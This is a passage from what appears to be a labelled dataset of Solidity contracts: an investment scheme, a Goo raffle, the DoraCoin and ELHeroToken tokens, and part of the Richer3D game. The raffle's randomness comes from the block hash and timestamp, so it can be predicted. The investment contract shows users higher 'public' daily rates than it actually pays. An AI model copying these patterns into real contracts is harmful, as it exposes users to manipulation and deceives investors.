require(msg.sender == dev_0_master || msg.sender == dev_1_master, "not dev");
(msg.sender == dev_0_master) ? dev_0_escrow = _address : dev_1_escrow = _address;
}
function withdrawDevCommission() public {
uint256 commission = devCommission[msg.sender];
require(commission > 0, "no dev commission");
require(address(this).balance.sub(commission) >= lockboxTotal, "not enough funds");
delete devCommission[msg.sender];
msg.sender.transfer(commission);
}
function withdrawAffiliateCommission() public {
uint256 commission = affiliateCommission[msg.sender];
require(commission > 0, "no commission");
require(address(this).balance.sub(commission) >= guaranteedBalance(), "not enough funds");
delete affiliateCommission[msg.sender];
affiliateCommissionWithdrawnTotal = affiliateCommissionWithdrawnTotal.add(commission);
msg.sender.transfer(commission);
emit WithdrawnAffiliateCommission(msg.sender, commission);
}
function withdrawProfit() public {
uint256 profit = calculateProfit(msg.sender);
require(profit > 0, "no profit");
require(address(this).balance.sub(profit) >= guaranteedBalance(), "not enough funds");
investors[msg.sender].lastInvestmentTime = now;
investors[msg.sender].withdrawn = investors[msg.sender].withdrawn.add(profit);
withdrawnProfitTotal = withdrawnProfitTotal.add(profit);
uint256 devFee = profit.div(100);
devCommission[dev_0_escrow] = devCommission[dev_0_escrow].add(devFee);
devCommission[dev_1_escrow] = devCommission[dev_1_escrow].add(devFee);
msg.sender.transfer(profit.div(100).mul(95));
emit WithdrawnProfit(msg.sender, profit);
}
function withdrawLockBoxAndClose() public {
uint256 lockboxAmount = getLockBox(msg.sender);
require(lockboxAmount > 0, "no investments");
delete investors[msg.sender];
investorsCount = investorsCount.sub(1);
lockboxTotal = lockboxTotal.sub(lockboxAmount);
msg.sender.transfer(lockboxAmount);
emit WithdrawnLockbox(msg.sender, lockboxAmount);
}
function reinvestProfit() public {
uint256 profit = calculateProfit(msg.sender);
require(profit > 0, "no profit");
require(address(this).balance.sub(profit) >= guaranteedBalance(), "not enough funds");
uint256 lockboxFromProfit = profit.div(100).mul(84);
investors[msg.sender].lockbox = investors[msg.sender].lockbox.add(lockboxFromProfit);
investors[msg.sender].lastInvestmentTime = now;
investors[msg.sender].invested = investors[msg.sender].invested.add(profit);
lockboxTotal = lockboxTotal.add(lockboxFromProfit);
emit Renvested(msg.sender, profit);
}
function calculateProfit(address _investor) public view returns(uint256){
uint256 hourDifference = now.sub(investors[_investor].lastInvestmentTime).div(3600);
uint256 rate = percentRateInternal(investors[_investor].lockbox);
uint256 calculatedPercent = hourDifference.mul(rate);
return investors[_investor].lockbox.div(100000).mul(calculatedPercent);
}
function percentRateInternal(uint256 _balance) public pure returns(uint256) {
uint256 step_1 = .99 ether;
uint256 step_2 = 50 ether;
uint256 step_3 = 100 ether;
uint256 step_4 = 250 ether;
uint256 dailyPercent_0 = 25;
uint256 dailyPercent_1 = 40;
uint256 dailyPercent_2 = 50;
uint256 dailyPercent_3 = 60;
uint256 dailyPercent_4 = 75;
if (_balance >= step_4) {
return dailyPercent_4;
} else if (_balance >= step_3 && _balance < step_4) {
return dailyPercent_3;
} else if (_balance >= step_2 && _balance < step_3) {
return dailyPercent_2;
} else if (_balance >= step_1 && _balance < step_2) {
return dailyPercent_1;
}
return dailyPercent_0;
}
function percentRatePublic(uint256 _balance) public pure returns(uint256) {
uint256 step_1 = .99 ether;
uint256 step_2 = 50 ether;
uint256 step_3 = 100 ether;
uint256 step_4 = 250 ether;
uint256 dailyPercent_0 = 60;
uint256 dailyPercent_1 = 96;
uint256 dailyPercent_2 = 120;
uint256 dailyPercent_3 = 144;
uint256 dailyPercent_4 = 180;
if (_balance >= step_4) {
return dailyPercent_4;
} else if (_balance >= step_3 && _balance < step_4) {
return dailyPercent_3;
} else if (_balance >= step_2 && _balance < step_3) {
return dailyPercent_2;
} else if (_balance >= step_1 && _balance < step_2) {
return dailyPercent_1;
}
return dailyPercent_0;
}
} | 1 | 2,138 |
pragma solidity ^0.4.0;
contract SponsoredItemGooRaffle {
Goo goo = Goo(0x57b116da40f21f91aec57329ecb763d29c1b2355);
ERC721 erc;
uint256 tokenId;
address owner;
mapping(address => TicketPurchases) private ticketsBoughtByPlayer;
mapping(uint256 => address[]) private rafflePlayers;
uint256 private constant RAFFLE_TICKET_BASE_GOO_PRICE = 1000;
uint256 private raffleEndTime;
uint256 private raffleTicketsBought;
uint256 private raffleId;
address private raffleWinner;
bool private raffleWinningTicketSelected;
uint256 private raffleTicketThatWon;
struct TicketPurchases {
TicketPurchase[] ticketsBought;
uint256 numPurchases;
uint256 raffleId;
}
struct TicketPurchase {
uint256 startId;
uint256 endId;
}
function SponsoredItemGooRaffle() public {
owner = msg.sender;
}
function startTokenRaffle(uint256 endTime, address tokenContract, uint256 id) external {
require(msg.sender == owner);
require(block.timestamp < endTime);
erc = ERC721(tokenContract);
tokenId = id;
erc.transferFrom(msg.sender, this, id);
if (raffleId != 0) {
require(raffleWinner != 0);
}
raffleWinningTicketSelected = false;
raffleTicketThatWon = 0;
raffleWinner = 0;
raffleTicketsBought = 0;
raffleEndTime = endTime;
raffleId++;
}
function buyRaffleTicket(uint256 amount) external {
require(raffleEndTime >= block.timestamp);
require(amount > 0);
uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_GOO_PRICE, amount);
goo.transferFrom(msg.sender, this, ticketsCost);
goo.transfer(address(0), (ticketsCost * 95) / 100);
TicketPurchases storage purchases = ticketsBoughtByPlayer[msg.sender];
if (purchases.raffleId != raffleId) {
purchases.numPurchases = 0;
purchases.raffleId = raffleId;
rafflePlayers[raffleId].push(msg.sender);
}
if (purchases.numPurchases == purchases.ticketsBought.length) {
purchases.ticketsBought.length += 1;
}
purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(raffleTicketsBought, raffleTicketsBought + (amount - 1));
raffleTicketsBought += amount;
}
function awardRafflePrize(address checkWinner, uint256 checkIndex) external {
require(raffleEndTime < block.timestamp);
require(raffleWinner == 0);
require(erc.ownerOf(tokenId) == address(this));
if (!raffleWinningTicketSelected) {
drawRandomWinner();
}
if (checkWinner != 0) {
TicketPurchases storage tickets = ticketsBoughtByPlayer[checkWinner];
if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleId == raffleId) {
TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex];
if (raffleTicketThatWon >= checkTicket.startId && raffleTicketThatWon <= checkTicket.endId) {
assignRafflePrize(checkWinner);
return;
}
}
}
for (uint256 i = 0; i < rafflePlayers[raffleId].length; i++) {
address player = rafflePlayers[raffleId][i];
TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player];
uint256 endIndex = playersTickets.numPurchases - 1;
if (raffleTicketThatWon >= playersTickets.ticketsBought[0].startId && raffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) {
for (uint256 j = 0; j < playersTickets.numPurchases; j++) {
TicketPurchase storage playerTicket = playersTickets.ticketsBought[j];
if (raffleTicketThatWon >= playerTicket.startId && raffleTicketThatWon <= playerTicket.endId) {
assignRafflePrize(player);
return;
}
}
}
}
}
function assignRafflePrize(address winner) internal {
raffleWinner = winner;
erc.transfer(winner, tokenId);
}
function drawRandomWinner() public {
require(msg.sender == owner);
require(raffleEndTime < block.timestamp);
require(!raffleWinningTicketSelected);
uint256 seed = raffleTicketsBought + block.timestamp;
raffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, (raffleTicketsBought + 1));
raffleWinningTicketSelected = true;
}
function transferGoo(address recipient, uint256 amount) external {
require(msg.sender == owner);
goo.transfer(recipient, amount);
}
function getLatestRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) {
return (raffleEndTime, raffleId, raffleTicketsBought, raffleWinner, raffleTicketThatWon);
}
function getRafflePlayers(uint256 raffle) external constant returns (address[]) {
return (rafflePlayers[raffle]);
}
function getPlayersTickets(address player) external constant returns (uint256[], uint256[]) {
TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player];
if (playersTickets.raffleId == raffleId) {
uint256[] memory startIds = new uint256[](playersTickets.numPurchases);
uint256[] memory endIds = new uint256[](playersTickets.numPurchases);
for (uint256 i = 0; i < playersTickets.numPurchases; i++) {
startIds[i] = playersTickets.ticketsBought[i].startId;
endIds[i] = playersTickets.ticketsBought[i].endId;
}
}
return (startIds, endIds);
}
}
interface Goo {
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
interface ERC721 {
function transfer(address to, uint tokenId) public payable;
function transferFrom(address from, address to, uint tokenId) public;
function ownerOf(uint tokenId) public view returns (address owner);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,675 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract MyCoin is StandardToken,BurnableToken {
string public name = "DoraCoin";
string public symbol = "DOR";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 51000000 * (10 ** uint256(decimals));
function MyCoin() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 | 2,320 |
pragma solidity ^0.4.23;
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract ERC721 is ERC165 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721TokenReceiver {
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
contract AccessAdmin {
bool public isPaused = false;
address public addrAdmin;
event AdminTransferred(address indexed preAdmin, address indexed newAdmin);
constructor() public {
addrAdmin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == addrAdmin);
_;
}
modifier whenNotPaused() {
require(!isPaused);
_;
}
modifier whenPaused {
require(isPaused);
_;
}
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
emit AdminTransferred(addrAdmin, _newAdmin);
addrAdmin = _newAdmin;
}
function doPause() external onlyAdmin whenNotPaused {
isPaused = true;
}
function doUnpause() external onlyAdmin whenPaused {
isPaused = false;
}
}
contract ELHeroToken is ERC721,AccessAdmin{
struct Card {
uint16 protoId;
uint16 hero;
uint16 quality;
uint16 feature;
uint16 level;
uint16 attrExt1;
uint16 attrExt2;
}
Card[] public cardArray;
uint256 destroyCardCount;
mapping (uint256 => address) cardIdToOwner;
mapping (address => uint256[]) ownerToCardArray;
mapping (uint256 => uint256) cardIdToOwnerIndex;
mapping (uint256 => address) cardIdToApprovals;
mapping (address => mapping (address => bool)) operatorToApprovals;
mapping (address => bool) actionContracts;
function setActionContract(address _actionAddr, bool _useful) external onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
function getActionContract(address _actionAddr) external view onlyAdmin returns(bool) {
return actionContracts[_actionAddr];
}
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event CreateCard(address indexed owner, uint256 tokenId, uint16 protoId, uint16 hero, uint16 quality, uint16 createType);
event DeleteCard(address indexed owner, uint256 tokenId, uint16 deleteType);
event ChangeCard(address indexed owner, uint256 tokenId, uint16 changeType);
modifier isValidToken(uint256 _tokenId) {
require(_tokenId >= 1 && _tokenId <= cardArray.length);
require(cardIdToOwner[_tokenId] != address(0));
_;
}
modifier canTransfer(uint256 _tokenId) {
address owner = cardIdToOwner[_tokenId];
require(msg.sender == owner || msg.sender == cardIdToApprovals[_tokenId] || operatorToApprovals[owner][msg.sender]);
_;
}
function supportsInterface(bytes4 _interfaceId) external view returns(bool) {
return (_interfaceId == 0x01ffc9a7 || _interfaceId == 0x80ac58cd || _interfaceId == 0x8153916a) && (_interfaceId != 0xffffffff);
}
constructor() public {
addrAdmin = msg.sender;
cardArray.length += 1;
}
function name() public pure returns(string) {
return "Ether League Hero Token";
}
function symbol() public pure returns(string) {
return "ELHT";
}
function balanceOf(address _owner) external view returns (uint256){
require(_owner != address(0));
return ownerToCardArray[_owner].length;
}
function ownerOf(uint256 _tokenId) external view returns (address){
return cardIdToOwner[_tokenId];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external whenNotPaused{
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused{
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused isValidToken(_tokenId) canTransfer(_tokenId){
address owner = cardIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external whenNotPaused{
address owner = cardIdToOwner[_tokenId];
require(owner != address(0));
require(msg.sender == owner || operatorToApprovals[owner][msg.sender]);
cardIdToApprovals[_tokenId] = _approved;
emit Approval(owner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external whenNotPaused{
operatorToApprovals[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) external view isValidToken(_tokenId) returns (address) {
return cardIdToApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return operatorToApprovals[_owner][_operator];
}
function totalSupply() external view returns (uint256) {
return cardArray.length - destroyCardCount - 1;
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) internal isValidToken(_tokenId) canTransfer(_tokenId){
address owner = cardIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
uint256 codeSize;
assembly { codeSize := extcodesize(_to) }
if (codeSize == 0) {
return;
}
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data);
require(retval == 0xf0b9e5ba);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
if (_from != address(0)) {
uint256 indexFrom = cardIdToOwnerIndex[_tokenId];
uint256[] storage cdArray = ownerToCardArray[_from];
require(cdArray[indexFrom] == _tokenId);
if (indexFrom != cdArray.length - 1) {
uint256 lastTokenId = cdArray[cdArray.length - 1];
cdArray[indexFrom] = lastTokenId;
cardIdToOwnerIndex[lastTokenId] = indexFrom;
}
cdArray.length -= 1;
if (cardIdToApprovals[_tokenId] != address(0)) {
delete cardIdToApprovals[_tokenId];
}
}
cardIdToOwner[_tokenId] = _to;
ownerToCardArray[_to].push(_tokenId);
cardIdToOwnerIndex[_tokenId] = ownerToCardArray[_to].length - 1;
emit Transfer(_from != address(0) ? _from : this, _to, _tokenId);
}
function createCard(address _owner, uint16[5] _attrs, uint16 _createType) external whenNotPaused returns(uint256){
require(actionContracts[msg.sender]);
require(_owner != address(0));
uint256 newCardId = cardArray.length;
require(newCardId < 4294967296);
cardArray.length += 1;
Card storage cd = cardArray[newCardId];
cd.protoId = _attrs[0];
cd.hero = _attrs[1];
cd.quality = _attrs[2];
cd.feature = _attrs[3];
cd.level = _attrs[4];
_transfer(0, _owner, newCardId);
emit CreateCard(_owner, newCardId, _attrs[0], _attrs[1], _attrs[2], _createType);
return newCardId;
}
function _changeAttrByIndex(Card storage _cd, uint16 _index, uint16 _val) internal {
if (_index == 2) {
_cd.quality = _val;
} else if(_index == 3) {
_cd.feature = _val;
} else if(_index == 4) {
_cd.level = _val;
} else if(_index == 5) {
_cd.attrExt1 = _val;
} else if(_index == 6) {
_cd.attrExt2 = _val;
}
}
function changeCardAttr(uint256 _tokenId, uint16[5] _idxArray, uint16[5] _params, uint16 _changeType) external whenNotPaused isValidToken(_tokenId) {
require(actionContracts[msg.sender]);
Card storage cd = cardArray[_tokenId];
if (_idxArray[0] > 0) _changeAttrByIndex(cd, _idxArray[0], _params[0]);
if (_idxArray[1] > 0) _changeAttrByIndex(cd, _idxArray[1], _params[1]);
if (_idxArray[2] > 0) _changeAttrByIndex(cd, _idxArray[2], _params[2]);
if (_idxArray[3] > 0) _changeAttrByIndex(cd, _idxArray[3], _params[3]);
if (_idxArray[4] > 0) _changeAttrByIndex(cd, _idxArray[4], _params[4]);
emit ChangeCard(cardIdToOwner[_tokenId], _tokenId, _changeType);
}
function destroyCard(uint256 _tokenId, uint16 _deleteType) external whenNotPaused isValidToken(_tokenId) {
require(actionContracts[msg.sender]);
address _from = cardIdToOwner[_tokenId];
uint256 indexFrom = cardIdToOwnerIndex[_tokenId];
uint256[] storage cdArray = ownerToCardArray[_from];
require(cdArray[indexFrom] == _tokenId);
if (indexFrom != cdArray.length - 1) {
uint256 lastTokenId = cdArray[cdArray.length - 1];
cdArray[indexFrom] = lastTokenId;
cardIdToOwnerIndex[lastTokenId] = indexFrom;
}
cdArray.length -= 1;
cardIdToOwner[_tokenId] = address(0);
delete cardIdToOwnerIndex[_tokenId];
destroyCardCount += 1;
emit Transfer(_from, 0, _tokenId);
emit DeleteCard(_from, _tokenId, _deleteType);
}
function safeTransferByContract(uint256 _tokenId, address _to) external whenNotPaused{
require(actionContracts[msg.sender]);
require(_tokenId >= 1 && _tokenId <= cardArray.length);
address owner = cardIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner != _to);
_transfer(owner, _to, _tokenId);
}
function getCard(uint256 _tokenId) external view isValidToken(_tokenId) returns (uint16[7] datas) {
Card storage cd = cardArray[_tokenId];
datas[0] = cd.protoId;
datas[1] = cd.hero;
datas[2] = cd.quality;
datas[3] = cd.feature;
datas[4] = cd.level;
datas[5] = cd.attrExt1;
datas[6] = cd.attrExt2;
}
function getOwnCard(address _owner) external view returns(uint256[] tokens, uint32[] flags) {
require(_owner != address(0));
uint256[] storage cdArray = ownerToCardArray[_owner];
uint256 length = cdArray.length;
tokens = new uint256[](length);
flags = new uint32[](length);
for (uint256 i = 0; i < length; ++i) {
tokens[i] = cdArray[i];
Card storage cd = cardArray[cdArray[i]];
flags[i] = uint32(uint32(cd.protoId) * 1000 + uint32(cd.hero) * 10 + cd.quality);
}
}
function getCardAttrs(uint256[] _tokens) external view returns(uint16[] attrs) {
uint256 length = _tokens.length;
require(length <= 64);
attrs = new uint16[](length * 11);
uint256 tokenId;
uint256 index;
for (uint256 i = 0; i < length; ++i) {
tokenId = _tokens[i];
if (cardIdToOwner[tokenId] != address(0)) {
index = i * 11;
Card storage cd = cardArray[tokenId];
attrs[index] = cd.hero;
attrs[index + 1] = cd.quality;
attrs[index + 2] = cd.feature;
attrs[index + 3] = cd.level;
attrs[index + 4] = cd.attrExt1;
attrs[index + 5] = cd.attrExt2;
}
}
}
} | 1 | 2,662 |
pragma solidity ^0.4.25;
contract Richer3D {
using SafeMath for *;
string constant public name = "Richer3D";
string constant public symbol = "R3D";
address constant private sysAdminAddress = 0x4A3913ce9e8882b418a0Be5A43d2C319c3F0a7Bd;
address constant private sysInviterAddress = 0xC5E41EC7fa56C0656Bc6d7371a8706Eb9dfcBF61;
address constant private sysDevelopAddress = 0xCf3A25b73A493F96C15c8198319F0218aE8cAA4A;
address constant private p3dInviterAddress = 0x82Fc4514968b0c5FdDfA97ed005A01843d0E117d;
uint256 constant cycleTime = 24 hours;
bool calculating_target = false;
uint256 private roundNumber;
uint256 private dayNumber;
uint256 private totalPlayerNumber;
uint256 private platformBalance;
mapping(uint256=>DataModal.RoundInfo) private rInfoXrID;
mapping(address=>DataModal.PlayerInfo) private pInfoXpAdd;
mapping(address=>uint256) private pIDXpAdd;
mapping(uint256=>address) private pAddXpID;
HourglassInterface constant p3dContract = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
mapping(uint256=>uint256) private p3dDividesXroundID;
event newPlayerJoinGameEvent(address indexed _address,uint256 indexed _amount,bool indexed _JoinWithEth,uint256 _timestamp);
event calculateTargetEvent(uint256 indexed _roundID);
constructor() public {
dayNumber = 1;
}
function() external payable {
}
function joinGameWithInviterID(uint256 _inviterID) public payable {
uint256 _timestamp = now;
address _senderAddress = msg.sender;
uint256 _eth = msg.value;
require(_timestamp.sub(rInfoXrID[roundNumber].lastCalculateTime) < cycleTime,"Waiting for settlement");
if(pIDXpAdd[_senderAddress] < 1) {
registerWithInviterID(_senderAddress,_inviterID);
}
buyCore(_senderAddress,pInfoXpAdd[_senderAddress].inviterAddress,_eth);
emit newPlayerJoinGameEvent(msg.sender,msg.value,true,_timestamp);
}
function joinGameWithInviterIDForAddress(uint256 _inviterID,address _address) public payable {
uint256 _timestamp = now;
address _senderAddress = _address;
uint256 _eth = msg.value;
require(_timestamp.sub(rInfoXrID[roundNumber].lastCalculateTime) < cycleTime,"Waiting for settlement");
if(pIDXpAdd[_senderAddress] < 1) {
registerWithInviterID(_senderAddress,_inviterID);
}
buyCore(_senderAddress,pInfoXpAdd[_senderAddress].inviterAddress,_eth);
emit newPlayerJoinGameEvent(msg.sender,msg.value,true,_timestamp);
}
function joinGameWithBalance(uint256 _amount) public {
uint256 _timestamp = now;
address _senderAddress = msg.sender;
require(_timestamp.sub(rInfoXrID[roundNumber].lastCalculateTime) < cycleTime,"Waiting for settlement");
uint256 balance = getUserBalance(_senderAddress);
require(balance >= _amount,"balance is not enough");
buyCore(_senderAddress,pInfoXpAdd[_senderAddress].inviterAddress,_amount);
pInfoXpAdd[_senderAddress].withDrawNumber = pInfoXpAdd[_senderAddress].withDrawNumber.sub(_amount);
emit newPlayerJoinGameEvent(_senderAddress,_amount,false,_timestamp);
}
function calculateTarget() public {
require(calculating_target == false,"Waiting....");
calculating_target = true;
uint256 _timestamp = now;
require(_timestamp.sub(rInfoXrID[roundNumber].lastCalculateTime) >= cycleTime,"Less than cycle Time from last operation");
uint256 dividends = p3dContract.myDividends(true);
if(dividends > 0) {
if(rInfoXrID[roundNumber].dayInfoXDay[dayNumber].playerNumber > 0) {
p3dDividesXroundID[roundNumber] = p3dDividesXroundID[roundNumber].add(dividends);
p3dContract.withdraw();
} else {
platformBalance = platformBalance.add(dividends).add(p3dDividesXroundID[roundNumber]);
p3dContract.withdraw();
}
}
uint256 increaseBalance = getIncreaseBalance(dayNumber,roundNumber);
uint256 targetBalance = getDailyTarget(roundNumber,dayNumber);
uint256 ethForP3D = increaseBalance.div(100);
if(increaseBalance >= targetBalance) {
if(increaseBalance > 0) {
p3dContract.buy.value(ethForP3D)(p3dInviterAddress);
}
dayNumber++;
rInfoXrID[roundNumber].totalDay = dayNumber;
if(rInfoXrID[roundNumber].startTime == 0) {
rInfoXrID[roundNumber].startTime = _timestamp;
rInfoXrID[roundNumber].lastCalculateTime = _timestamp;
} else {
rInfoXrID[roundNumber].lastCalculateTime = _timestamp;
}
rInfoXrID[roundNumber].increaseETH = rInfoXrID[roundNumber].increaseETH.sub(getETHNeedPay(roundNumber,dayNumber.sub(1))).sub(ethForP3D);
emit calculateTargetEvent(0);
} else {
bool haveWinner = false;
if(dayNumber > 1) {
sendBalanceForDevelop(roundNumber);
if(platformBalance > 0) {
uint256 platformBalanceAmount = platformBalance;
platformBalance = 0;
sysAdminAddress.transfer(platformBalanceAmount);
}
haveWinner = true;
}
rInfoXrID[roundNumber].winnerDay = dayNumber.sub(1);
roundNumber++;
dayNumber = 1;
if(haveWinner) {
rInfoXrID[roundNumber].bounsInitNumber = getBounsWithRoundID(roundNumber.sub(1)).div(10);
} else {
rInfoXrID[roundNumber].bounsInitNumber = getBounsWithRoundID(roundNumber.sub(1));
}
rInfoXrID[roundNumber].totalDay = 1;
rInfoXrID[roundNumber].startTime = _timestamp;
rInfoXrID[roundNumber].lastCalculateTime = _timestamp;
emit calculateTargetEvent(roundNumber);
}
calculating_target = false;
}
function registerWithInviterID(address _senderAddress, uint256 _inviterID) private {
totalPlayerNumber++;
pIDXpAdd[_senderAddress] = totalPlayerNumber;
pAddXpID[totalPlayerNumber] = _senderAddress;
pInfoXpAdd[_senderAddress].inviterAddress = pAddXpID[_inviterID];
}
function buyCore(address _playerAddress,address _inviterAddress,uint256 _amount) private {
require(_amount >= 0.01 ether,"You need to pay 0.01 ether at lesat");
address _senderAddress = _playerAddress;
if(_inviterAddress == address(0) || _inviterAddress == _senderAddress) {
platformBalance = platformBalance.add(_amount/10);
} else {
pInfoXpAdd[_inviterAddress].inviteEarnings = pInfoXpAdd[_inviterAddress].inviteEarnings.add(_amount/10);
}
uint256 playerIndex = rInfoXrID[roundNumber].dayInfoXDay[dayNumber].playerNumber.add(1);
rInfoXrID[roundNumber].dayInfoXDay[dayNumber].playerNumber = playerIndex;
rInfoXrID[roundNumber].dayInfoXDay[dayNumber].addXIndex[playerIndex] = _senderAddress;
if(rInfoXrID[roundNumber].increaseETH > 0) {
rInfoXrID[roundNumber].dayInfoXDay[dayNumber].increaseMine = rInfoXrID[roundNumber].dayInfoXDay[dayNumber].increaseMine.add(_amount*5/2);
rInfoXrID[roundNumber].totalMine = rInfoXrID[roundNumber].totalMine.add(_amount*15/2);
} else {
rInfoXrID[roundNumber].totalMine = rInfoXrID[roundNumber].totalMine.add(_amount*5);
}
rInfoXrID[roundNumber].increaseETH = rInfoXrID[roundNumber].increaseETH.add(_amount).sub(_amount/10);
rInfoXrID[roundNumber].dayInfoXDay[dayNumber].increaseETH = rInfoXrID[roundNumber].dayInfoXDay[dayNumber].increaseETH.add(_amount).sub(_amount/10);
rInfoXrID[roundNumber].dayInfoXDay[dayNumber].actualMine = rInfoXrID[roundNumber].dayInfoXDay[dayNumber].actualMine.add(_amount*5);
rInfoXrID[roundNumber].dayInfoXDay[dayNumber].mineAmountXAddress[_senderAddress] = rInfoXrID[roundNumber].dayInfoXDay[dayNumber].mineAmountXAddress[_senderAddress].add(_amount*5);
rInfoXrID[roundNumber].dayInfoXDay[dayNumber].ethPayAmountXAddress[_senderAddress] = rInfoXrID[roundNumber].dayInfoXDay[dayNumber].ethPayAmountXAddress[_senderAddress].add(_amount);
}
function playerWithdraw(uint256 _amount) public {
address _senderAddress = msg.sender;
uint256 balance = getUserBalance(_senderAddress);
require(balance>=_amount,"Lack of balance");
platformBalance = platformBalance.add(_amount.div(100));
